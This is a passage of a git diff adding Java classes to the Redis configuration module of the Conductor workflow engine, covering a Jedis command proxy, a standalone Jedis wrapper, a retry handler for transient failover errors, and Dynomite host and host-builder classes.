jedisCluster.waitReplicas(key, replicas, timeoutInMillis); + if (replicated == null) { + return 0; + } + return replicated.intValue(); + } + + @Override + public String ping() { + return jedisCluster.ping(); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisProxy.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisProxy.java new file mode 100644 index 0000000..ec94500 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisProxy.java @@ -0,0 +1,412 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Optional; +import java.util.Set; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.redis.config.AnyRedisConnectionCondition; + +import lombok.extern.slf4j.Slf4j; +import redis.clients.jedis.params.ScanParams; +import redis.clients.jedis.params.SetParams; +import redis.clients.jedis.params.ZAddParams; +import redis.clients.jedis.resps.ScanResult; +import redis.clients.jedis.resps.Tuple; + +/** Proxy for the {@link JedisCommands} object. */ +@Component +@Conditional(AnyRedisConnectionCondition.class) +@Slf4j +public class JedisProxy { + + protected JedisCommands jedisCommands; + + @Autowired + public JedisProxy(JedisCommands jedisCommands) { + this.jedisCommands = jedisCommands; + log.info("Initialized JedisProxy"); + } + + public List zrange(String key, long start, long end) { + return jedisCommands.zrange(key, start, end); + } + + public List zrangeWithScores(String key, long start, long end) { + return jedisCommands.zrangeWithScores(key, start, end); + } + + public List zrangeByScoreWithScores(String key, double minScore, double maxScore) { + return jedisCommands.zrangeByScoreWithScores(key, minScore, maxScore); + } + + public List zrangeByScore(String key, double maxScore, int count) { + return jedisCommands.zrangeByScore(key, 0, maxScore, 0, count); + } + + public List zrangeByScore(String key, double minScore, double maxScore, int count) { + return jedisCommands.zrangeByScore(key, minScore, maxScore, 0, count); + } + + public List zrangeByScore(String key, double min, double max, int offset, int count) { + return jedisCommands.zrangeByScore(key, min, max, offset, count); + } + + public ScanResult zscan(String key, int cursor) { + return jedisCommands.zscan(key, "" + cursor); + } + + public String get(String key) { + return jedisCommands.get(key); + } + + public List mget(String... keys) { + return jedisCommands.mget(keys); + } + + public List mget(byte[]... keys) { + return jedisCommands.mgetBytes(keys); + } + + public String mget(String key) { + return jedisCommands.get(key); + } + + public Long zcard(String key) { + return jedisCommands.zcard(key); + } + + public Long del(String key) { + return jedisCommands.del(key); + } + + public Long llen(String key) { + return jedisCommands.llen(key); + } + + public Long rpush(String key, String... values) { + return jedisCommands.rpush(key, values); + } + + public List lrange(String key, long start, long end) { + return jedisCommands.lrange(key, start, end); + } + + public String ltrim(String key, long start, long end) { + return jedisCommands.ltrim(key, start, end); + } + + public Long zrem(String key, String member) { + return jedisCommands.zrem(key, member); + } + + public Long zrem(String key, String... members) { + return jedisCommands.zrem(key, members); + } + + public long zremrangeByScore(String key, String start, String end) { + return jedisCommands.zremrangeByScore(key, start, end); + } + + public long zcount(String key, double min, double max) { + return jedisCommands.zcount(key, min, max); + } + + public String set(String key, String value) { + return jedisCommands.set(key, value); + } + + public Long setnx(String key, String value) { + return jedisCommands.setnx(key, value); + } + + public String setWithExpiry(String key, String value, long ttlInSeconds) { + SetParams params = SetParams.setParams().ex(ttlInSeconds); + return jedisCommands.set(key, value, params); + } + + public String setWithExpiry(String key, byte[] value, long ttlInSeconds) { + SetParams params = SetParams.setParams().ex(ttlInSeconds); + return jedisCommands.set(key.getBytes(StandardCharsets.UTF_8), value, params); + } + + public String setWithExpiryInMilliIfNotExists(String key, String value, long ttlInMillis) { + SetParams params = SetParams.setParams().px(ttlInMillis).nx(); + return jedisCommands.set(key, value, params); + } + + public String setWithExpiryInMilliIfNotExists(String key, byte[] value, long ttlInMillis) { + SetParams params = SetParams.setParams().px(ttlInMillis).nx(); + return jedisCommands.set(key.getBytes(StandardCharsets.UTF_8), value, params); + } + + public Long ttl(String key) { + return jedisCommands.ttl(key); + } + + public Long zadd(String key, double score, String member) { + return jedisCommands.zadd(key, score, member); + } + + public Long zaddnx(String key, double score, String member) { + ZAddParams params = ZAddParams.zAddParams().nx(); + return jedisCommands.zadd(key, score, member, params); + } + + public boolean exists(String key) { + return jedisCommands.exists(key); + } + + public Long hset(String key, String field, String value) { + return jedisCommands.hset(key, field, value); + } + + public Long hset(String key, Map fields) { + return jedisCommands.hset(key, fields); + } + + public Long hsetnx(String key, String field, String value) { + return jedisCommands.hsetnx(key, field, value); + } + + public Long hincrBy(String key, String field, long value) { + return jedisCommands.hincrBy(key, field, value); + } + + public Long hlen(String key) { + return jedisCommands.hlen(key); + } + + public String hget(String key, String field) { + return jedisCommands.hget(key, field); + } + + public Optional optionalHget(String key, String field) { + return Optional.ofNullable(jedisCommands.hget(key, field)); + } + + public Map hscan(String key, int count) { + Map m = new HashMap<>(); + int cursor = 0; + do { + ScanResult> scanResult = jedisCommands.hscan(key, "" + cursor); + cursor = Integer.parseInt(scanResult.getCursor()); + for (Entry r : scanResult.getResult()) { + m.put(r.getKey(), r.getValue()); + } + if (m.size() > count) { + break; + } + } while (cursor > 0); + + return m; + } + + public Map hgetAll(String key) { + Map m = new HashMap<>(); + int cursor = 0; + do { + ScanResult> scanResult = jedisCommands.hscan(key, "" + cursor); + cursor = Integer.parseInt(scanResult.getCursor()); + for (Entry r : scanResult.getResult()) { + m.put(r.getKey(), r.getValue()); + } + } while (cursor > 0); + + return m; + } + + public Map hgetAll(String key, String fieldMatch) { + Map m = new HashMap<>(); + int cursor = 0; + do { + ScanResult> scanResult = + jedisCommands.hscan( + key, "" + cursor, new ScanParams().match(fieldMatch).count(1_000_000)); + cursor = Integer.parseInt(scanResult.getCursor()); + for (Entry r : scanResult.getResult()) { + m.put(r.getKey(), r.getValue()); + } + } while (cursor > 0); + + return m; + } + + public List hvals(String key) { + return jedisCommands.hvals(key); + } + + public Set hkeys(String key) { + Set keys = new HashSet<>(); + int cursor = 0; + do { + ScanResult> sr = jedisCommands.hscan(key, "" + cursor); + cursor = Integer.parseInt(sr.getCursor()); + List> result = sr.getResult(); + for (Entry e : result) { + keys.add(e.getKey()); + } + } while (cursor > 0); + + return keys; + } + + public Long hdel(String key, String... fields) { + return jedisCommands.hdel(key, fields); + } + + public Long expire(String key, long seconds) { + return jedisCommands.expire(key, seconds); + } + + public Boolean hexists(String key, String field) { + return jedisCommands.hexists(key, field); + } + + public Long sadd(String key, String value) { + return jedisCommands.sadd(key, value); + } + + public Long sadd(String key, String... values) { + return jedisCommands.sadd(key, values); + } + + public Long srem(String key, String member) { + return jedisCommands.srem(key, member); + } + + public Long srem(String key, String... members) { + return jedisCommands.srem(key, members); + } + + public boolean sismember(String key, String member) { + return jedisCommands.sismember(key, member); + } + + public Set smembers(String key) { + Set r = new HashSet<>(); + int cursor = 0; + ScanParams sp = new ScanParams(); + sp.count(50); + + do { + ScanResult scanResult = jedisCommands.sscan(key, "" + cursor, sp); + cursor = Integer.parseInt(scanResult.getCursor()); + r.addAll(scanResult.getResult()); + } while (cursor > 0); + + return r; + } + + // Use the actual smembers command - use if the set is small enough + public Set smembers2(String key) { + // collect metrics + return Monitors.getTimer("jedis_members2").record(() -> jedisCommands.smembers(key)); + } + + public Long scard(String key) { + return jedisCommands.scard(key); + } + + public String set(String key, byte[] value) { + return Monitors.getTimer("jedis_set_str_byte") + .record(() -> jedisCommands.set(key.getBytes(StandardCharsets.UTF_8), value)); + } + + public void mset(Map keyValues) { + byte[][] keyvaluebytes = new byte[keyValues.size() * 2][]; + int i = 0; + for (Entry e : keyValues.entrySet()) { + keyvaluebytes[i++] = e.getKey(); + keyvaluebytes[i++] = e.getValue(); + } + Monitors.getTimer("jedis_mset_str_byte").record(() -> jedisCommands.mset(keyvaluebytes)); + } + + public void increment(String key, long value) { + jedisCommands.incrBy(key, value); + } + + public byte[] getBytes(String key) { + // collect metrics + return Monitors.getTimer("jedis_get_bytes") + .record(() -> jedisCommands.getBytes(key.getBytes(StandardCharsets.UTF_8))); + } + + public Object evalsha(final String sha1, final List keys, final List args) { + return jedisCommands.evalsha(sha1, keys, args); + } + + public Object evalsha(byte[] sha1, final List keys, final List args) { + return jedisCommands.evalsha(sha1, keys, args); + } + + public byte[] scriptLoad(byte[] script, byte[] sampleKey) { + return jedisCommands.scriptLoad(script, sampleKey); + } + + public String info(String command) { + return jedisCommands.info(command); + } + + public int waitReplicas(String key, int replicas, long timeoutInMillis) { + return jedisCommands.waitReplicas(key, replicas, timeoutInMillis); + } + + public String ping() { + return jedisCommands.ping(); + } + + public List scan(String keyPrefix, String cursor, int count) { + Set keys = new HashSet<>(); + ScanResult sr = jedisCommands.scan(keyPrefix, "" + cursor, count); + return sr.getResult(); + } + + public ScanResult scanResult(String pattern, String cursor, int count) { + return jedisCommands.scan(pattern, cursor, count); + } + + public List findAll(String keyPrefix) { + List keys = new ArrayList<>(); + int maxLoop = 1000; + String cursor = "0"; + while (maxLoop-- > 0) { + ScanResult sr = jedisCommands.scan(keyPrefix, cursor, 100); + if ("0".equals(sr.getCursor())) { + keys.addAll(sr.getResult()); + break; + } else { + keys.addAll(sr.getResult()); + cursor = sr.getCursor(); + } + } + return keys; + } + + public void persist(String key) { + jedisCommands.persist(key); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisStandalone.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisStandalone.java new file mode 100644 index 0000000..48857d1 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisStandalone.java @@ -0,0 +1,346 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.function.Function; + +import redis.clients.jedis.Jedis; +import redis.clients.jedis.JedisPool; +import redis.clients.jedis.params.ScanParams; +import redis.clients.jedis.params.SetParams; +import redis.clients.jedis.params.ZAddParams; +import redis.clients.jedis.resps.ScanResult; +import redis.clients.jedis.resps.Tuple; + +public class JedisStandalone implements JedisCommands { + + private final JedisPool jedisPool; + + public JedisStandalone(JedisPool jedisPool) { + this.jedisPool = jedisPool; + } + + private R executeInJedis(Function function) { + try (Jedis jedis = jedisPool.getResource()) { + return function.apply(jedis); + } + } + + @Override + public String set(String key, String value) { + return executeInJedis(jedis -> jedis.set(key, value)); + } + + @Override + public String set(String key, String value, SetParams params) { + return executeInJedis(jedis -> jedis.set(key, value, params)); + } + + @Override + public String set(byte[] key, byte[] value, SetParams params) { + return executeInJedis(jedis -> jedis.set(key, value, params)); + } + + @Override + public String get(String key) { + return executeInJedis(jedis -> jedis.get(key)); + } + + public List mget(String... keys) { + return executeInJedis(jedis -> jedis.mget(keys)); + } + + @Override + public List mgetBytes(byte[]... keys) { + return executeInJedis(jedis -> jedis.mget(keys)); + } + + @Override + public Boolean exists(String key) { + return executeInJedis(jedis -> jedis.exists(key)); + } + + @Override + public Long persist(String key) { + return executeInJedis(jedis -> jedis.persist(key)); + } + + @Override + public Long expire(String key, long seconds) { + return executeInJedis(jedis -> jedis.expire(key, seconds)); + } + + @Override + public Long ttl(String key) { + return executeInJedis(jedis -> jedis.ttl(key)); + } + + @Override + public Long setnx(String key, String value) { + return executeInJedis(jedis -> jedis.setnx(key, value)); + } + + @Override + public Long incrBy(String key, long increment) { + return executeInJedis(jedis -> jedis.incrBy(key, increment)); + } + + @Override + public Long hset(String key, String field, String value) { + return executeInJedis(jedis -> jedis.hset(key, field, value)); + } + + @Override + public Long hset(String key, Map hash) { + return executeInJedis(jedis -> jedis.hset(key, hash)); + } + + @Override + public String hget(String key, String field) { + return executeInJedis(jedis -> jedis.hget(key, field)); + } + + @Override + public Long hsetnx(String key, String field, String value) { + return executeInJedis(jedis -> jedis.hsetnx(key, field, value)); + } + + @Override + public Long hincrBy(String key, String field, long value) { + return executeInJedis(jedis -> jedis.hincrBy(key, field, value)); + } + + @Override + public Boolean hexists(String key, String field) { + return executeInJedis(jedis -> jedis.hexists(key, field)); + } + + @Override + public Long hdel(String key, String... field) { + return executeInJedis(jedis -> jedis.hdel(key, field)); + } + + @Override + public Long hlen(String key) { + return executeInJedis(jedis -> jedis.hlen(key)); + } + + @Override + public List hvals(String key) { + return executeInJedis(jedis -> jedis.hvals(key)); + } + + @Override + public Long sadd(String key, String... member) { + return executeInJedis(jedis -> jedis.sadd(key, member)); + } + + @Override + public Set smembers(String key) { + return executeInJedis(jedis -> jedis.smembers(key)); + } + + @Override + public Long srem(String key, String... member) { + return executeInJedis(jedis -> jedis.srem(key, member)); + } + + @Override + public Long scard(String key) { + return executeInJedis(jedis -> jedis.scard(key)); + } + + @Override + public Boolean sismember(String key, String member) { + return executeInJedis(jedis -> jedis.sismember(key, member)); + } + + @Override + public Long zadd(String key, double score, String member) { + return executeInJedis(jedis -> jedis.zadd(key, score, member)); + } + + @Override + public Long zadd(String key, Map scores) { + return executeInJedis(jedis -> jedis.zadd(key, scores)); + } + + @Override + public Long zadd(String key, double score, String member, ZAddParams params) { + return executeInJedis(jedis -> jedis.zadd(key, score, member, params)); + } + + @Override + public List zrange(String key, long start, long stop) { + return executeInJedis(jedis -> jedis.zrange(key, start, stop)); + } + + @Override + public Long zrem(String key, String... members) { + return executeInJedis(jedis -> jedis.zrem(key, members)); + } + + @Override + public List zrangeWithScores(String key, long start, long stop) { + return executeInJedis(jedis -> jedis.zrangeWithScores(key, start, stop)); + } + + @Override + public Long zcard(String key) { + return executeInJedis(jedis -> jedis.zcard(key)); + } + + @Override + public Long zcount(String key, double min, double max) { + return executeInJedis(jedis -> jedis.zcount(key, min, max)); + } + + @Override + public Double zscore(String key, String member) { + return executeInJedis(jedis -> jedis.zscore(key, member)); + } + + @Override + public List zrangeByScore(String key, double min, double max) { + return executeInJedis(jedis -> jedis.zrangeByScore(key, min, max)); + } + + @Override + public List zrangeByScore(String key, double min, double max, int offset, int count) { + return executeInJedis(jedis -> jedis.zrangeByScore(key, min, max, offset, count)); + } + + @Override + public List zrangeByScoreWithScores(String key, double min, double max) { + return executeInJedis(jedis -> jedis.zrangeByScoreWithScores(key, min, max)); + } + + @Override + public Long zremrangeByScore(String key, String min, String max) { + return executeInJedis(jedis -> jedis.zremrangeByScore(key, min, max)); + } + + @Override + public Long del(String key) { + return executeInJedis(jedis -> jedis.del(key)); + } + + @Override + public Long llen(String key) { + return executeInJedis(jedis -> jedis.llen(key)); + } + + @Override + public Long rpush(String key, String... values) { + return executeInJedis(jedis -> jedis.rpush(key, values)); + } + + @Override + public List lrange(String key, long start, long end) { + return executeInJedis(jedis -> jedis.lrange(key, start, end)); + } + + @Override + public String ltrim(String key, long start, long end) { + return executeInJedis(jedis -> jedis.ltrim(key, start, end)); + } + + @Override + public ScanResult> hscan(String key, String cursor) { + return executeInJedis(jedis -> jedis.hscan(key, cursor)); + } + + @Override + public ScanResult> hscan( + String key, String cursor, ScanParams params) { + return executeInJedis(jedis -> jedis.hscan(key, cursor, params)); + } + + @Override + public ScanResult sscan(String key, String cursor) { + return executeInJedis(jedis -> jedis.sscan(key, cursor)); + } + + @Override + public ScanResult scan(String keyPrefix, String cursor, int count) { + final ScanParams params = new ScanParams().count(count).match(keyPrefix); + return executeInJedis(jedis -> jedis.scan(cursor, params)); + } + + @Override + public ScanResult zscan(String key, String cursor) { + return executeInJedis(jedis -> jedis.zscan(key, cursor)); + } + + @Override + public ScanResult sscan(String key, String cursor, ScanParams params) { + return executeInJedis(jedis -> jedis.sscan(key, cursor, params)); + } + + @Override + public String set(byte[] key, byte[] value) { + return executeInJedis(jedis -> jedis.set(key, value)); + } + + @Override + public void mset(byte[]... keyvalues) { + executeInJedis(jedis -> jedis.mset(keyvalues)); + } + + @Override + public byte[] getBytes(byte[] key) { + return executeInJedis(jedis -> jedis.get(key)); + } + + @Override + public Object evalsha(String sha1, List keys, List args) { + try (Jedis jedis = jedisPool.getResource()) { + return jedis.evalsha(sha1, keys, args); + } + } + + @Override + public Object evalsha(byte[] sha1, List keys, List args) { + try (Jedis jedis = jedisPool.getResource()) { + return jedis.evalsha(sha1, keys, args); + } + } + + @Override + public byte[] scriptLoad(byte[] script, byte[] sampleKeyIgnored) { + try (Jedis jedis = jedisPool.getResource()) { + return jedis.scriptLoad(script); + } + } + + @Override + public String info(String command) { + try (Jedis jedis = jedisPool.getResource()) { + return jedis.info(command); + } + } + + @Override + public int waitReplicas(String key, int replicas, long timeoutInMillis) { + // Nothing to replicate + return replicas; + } + + @Override + public String ping() { + return executeInJedis(Jedis::ping); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/RetryingJedisCommands.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/RetryingJedisCommands.java new file mode 100644 index 0000000..10d51cd --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/RetryingJedisCommands.java @@ -0,0 +1,121 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.util.Locale; +import java.util.Set; + +import com.netflix.conductor.redis.config.RedisProperties; + +import lombok.extern.slf4j.Slf4j; +import redis.clients.jedis.exceptions.JedisConnectionException; +import redis.clients.jedis.exceptions.JedisDataException; + +/** + * Adds bounded retries for transient Redis failover errors while preserving the existing {@link + * JedisCommands} contract. + */ +@Slf4j +public final class RetryingJedisCommands implements InvocationHandler { + + private static final Set RETRYABLE_MESSAGES = + Set.of("READONLY", "MASTERDOWN", "TRYAGAIN", "LOADING"); + + private static final long RETRY_DELAY_MILLIS = 100L; + + private final JedisCommands delegate; + private final int maxRetryAttempts; + + private RetryingJedisCommands(JedisCommands delegate, int maxRetryAttempts) { + this.delegate = delegate; + this.maxRetryAttempts = maxRetryAttempts; + } + + public static JedisCommands wrap(JedisCommands delegate, RedisProperties redisProperties) { + int maxRetryAttempts = redisProperties.getMaxRetryAttempts(); + if (maxRetryAttempts <= 0) { + return delegate; + } + return (JedisCommands) + Proxy.newProxyInstance( + JedisCommands.class.getClassLoader(), + new Class[] {JedisCommands.class}, + new RetryingJedisCommands(delegate, maxRetryAttempts)); + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + if (method.getDeclaringClass() == Object.class) { + return method.invoke(delegate, args); + } + + int attempt = 0; + while (true) { + try { + return method.invoke(delegate, args); + } catch (InvocationTargetException e) { + RuntimeException failure = toRuntimeException(e); + if (!isRetryable(failure) || attempt >= maxRetryAttempts) { + throw failure; + } + + attempt++; + log.debug( + "Retrying Redis command {} after transient failover error (attempt {}/{})", + method.getName(), + attempt, + maxRetryAttempts, + failure); + sleepBeforeRetry(failure); + } + } + } + + static boolean isRetryable(RuntimeException exception) { + if (exception instanceof JedisConnectionException) { + return true; + } + if (!(exception instanceof JedisDataException)) { + return false; + } + + String message = exception.getMessage(); + if (message == null) { + return false; + } + String normalized = message.toUpperCase(Locale.ROOT); + return RETRYABLE_MESSAGES.stream().anyMatch(normalized::contains); + } + + private static RuntimeException toRuntimeException(InvocationTargetException exception) { + Throwable cause = exception.getTargetException(); + if (cause instanceof RuntimeException runtimeException) { + return runtimeException; + } + return new IllegalStateException( + "Unexpected checked exception invoking JedisCommands", cause); + } + + private static void sleepBeforeRetry(RuntimeException failure) { + try { + Thread.sleep(RETRY_DELAY_MILLIS); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw failure; + } + } +} diff --git a/redis-configuration/src/main/java/com/netflix/dyno/connectionpool/Host.java b/redis-configuration/src/main/java/com/netflix/dyno/connectionpool/Host.java new file mode 100644 index 0000000..a98f5a6 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/dyno/connectionpool/Host.java @@ -0,0 +1,230 @@ +/* + * Copyright 2011 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.dyno.connectionpool; + +import java.net.InetSocketAddress; +import java.util.Objects; + +import org.apache.commons.lang3.StringUtils; + +/** + * Class encapsulating information about a host. + * + *

    This is immutable except for the host status. Note that the HostSupplier may not know the + * Dynomite port, whereas the Host object created by the load balancer may receive the port the + * cluster_describe REST call. Hence, we must not use the port in the equality and hashCode + * calculations. + * + * @author poberai + * @author ipapapa + */ +public class Host implements Comparable { + + public static final int DEFAULT_PORT = 8102; + public static final int DEFAULT_DATASTORE_PORT = 22122; + public static final Host NO_HOST = + new HostBuilder() + .setHostname("UNKNOWN") + .setIpAddress("UNKNOWN") + .setPort(0) + .setRack("UNKNOWN") + .createHost(); + + private final String hostname; + private final String ipAddress; + private final int port; + private final int securePort; + private final int datastorePort; + private final InetSocketAddress socketAddress; + private final String rack; + private final String datacenter; + private String hashtag; + private Status status = Status.Down; + private final String password; + + public enum Status { + Up, + Down; + } + + public Host( + String hostname, + String ipAddress, + int port, + int securePort, + int datastorePort, + String rack, + String datacenter, + Status status, + String hashtag, + String password) { + this.hostname = hostname; + this.ipAddress = ipAddress; + this.port = port; + this.securePort = securePort; + this.datastorePort = datastorePort; + this.rack = rack; + this.status = status; + this.datacenter = datacenter; + this.hashtag = hashtag; + this.password = StringUtils.isEmpty(password) ? null : password; + + // Used for the unit tests to prevent host name resolution + if (port != -1) { + this.socketAddress = new InetSocketAddress(hostname, port); + } else { + this.socketAddress = null; + } + } + + public String getHostAddress() { + if (this.ipAddress != null) { + return ipAddress; + } + return hostname; + } + + public String getHostName() { + return hostname; + } + + public String getIpAddress() { + return ipAddress; + } + + public int getPort() { + return port; + } + + public int getSecurePort() { + return securePort; + } + + public int getDatastorePort() { + return datastorePort; + } + + public String getDatacenter() { + return datacenter; + } + + public String getRack() { + return rack; + } + + public String getHashtag() { + return hashtag; + } + + public void setHashtag(String hashtag) { + this.hashtag = hashtag; + } + + public Host setStatus(Status condition) { + status = condition; + return this; + } + + public boolean isUp() { + return status == Status.Up; + } + + public String getPassword() { + return password; + } + + public Status getStatus() { + return status; + } + + public InetSocketAddress getSocketAddress() { + return socketAddress; + } + + /** + * Equality checks will fail in collections between Host objects created from the HostSupplier, + * which may not know the Dynomite port, and the Host objects created by the token map supplier. + */ + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((hostname == null) ? 0 : hostname.hashCode()); + result = prime * result + ((rack == null) ? 0 : rack.hashCode()); + + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) return true; + if (obj == null) return false; + + if (getClass() != obj.getClass()) return false; + + Host other = (Host) obj; + + boolean equals = true; + + equals &= (hostname != null) ? hostname.equals(other.hostname) : other.hostname == null; + equals &= (rack != null) ? rack.equals(other.rack) : other.rack == null; + + return equals; + } + + @Override + public int compareTo(Host o) { + int compared = this.hostname.compareTo(o.hostname); + if (compared != 0) { + return compared; + } + return this.rack.compareTo(o.rack); + } + + @Override + public String toString() { + + return "Host [hostname=" + + hostname + + ", ipAddress=" + + ipAddress + + ", port=" + + port + + ", rack: " + + rack + + ", datacenter: " + + datacenter + + ", status: " + + status.name() + + ", hashtag=" + + hashtag + + ", password=" + + (Objects.nonNull(password) ? "masked" : "null") + + "]"; + } + + public static Host clone(Host host) { + return new HostBuilder() + .setHostname(host.getHostName()) + .setIpAddress(host.getIpAddress()) + .setPort(host.getPort()) + .setSecurePort(host.getSecurePort()) + .setRack(host.getRack()) + .setDatastorePort(host.getDatastorePort()) + .setDatacenter(host.getDatacenter()) + .setStatus(host.getStatus()) + .setHashtag(host.getHashtag()) + .setPassword(host.getPassword()) + .createHost(); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/dyno/connectionpool/HostBuilder.java b/redis-configuration/src/main/java/com/netflix/dyno/connectionpool/HostBuilder.java new file mode 100644 index 0000000..3186558 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/dyno/connectionpool/HostBuilder.java @@ -0,0 +1,93 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.dyno.connectionpool; + +import static com.netflix.dyno.connectionpool.Host.DEFAULT_DATASTORE_PORT; +import static com.netflix.dyno.connectionpool.Host.DEFAULT_PORT; + +public class HostBuilder { + private String hostname; + private int port = DEFAULT_PORT; + private String rack; + private String ipAddress = null; + private int securePort = DEFAULT_PORT; + private int datastorePort = DEFAULT_DATASTORE_PORT; + private String datacenter = null; + private Host.Status status = Host.Status.Down; + private String hashtag = null; + private String password = null; + + public HostBuilder setPort(int port) { + this.port = port; + return this; + } + + public HostBuilder setRack(String rack) { + this.rack = rack; + return this; + } + + public HostBuilder setHostname(String hostname) { + this.hostname = hostname; + return this; + } + + public HostBuilder setIpAddress(String ipAddress) { + this.ipAddress = ipAddress; + return this; + } + + public HostBuilder setSecurePort(int securePort) { + this.securePort = securePort; + return this; + } + + public HostBuilder setDatacenter(String datacenter) { + this.datacenter = datacenter; + return this; + } + + public HostBuilder setStatus(Host.Status status) { + this.status = status; + return this; + } + + public HostBuilder setHashtag(String hashtag) { + this.hashtag = hashtag; + return this; + } + + public HostBuilder setPassword(String password) { + this.password = password; + return this; + } + + public HostBuilder setDatastorePort(int datastorePort) { + this.datastorePort = datastorePort; + return this; + } + + public Host createHost() { + return new Host( + hostname, + ipAddress, + port, + securePort, + datastorePort, + rack, + datacenter, + status, + hashtag, + password); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/dyno/connectionpool/HostSupplier.java b/redis-configuration/src/main/java/com/netflix/dyno/connectionpool/HostSupplier.java new file mode 100644 index 0000000..43e204d --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/dyno/connectionpool/HostSupplier.java @@ -0,0 +1,20 @@ +/* + * Copyright 2011 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.dyno.connectionpool; + +import java.util.List; + +public interface HostSupplier { + + public List getHosts(); +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisConfigurationTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisConfigurationTest.java new file mode 100644 index 0000000..b054956 --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisConfigurationTest.java @@ -0,0 +1,119 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

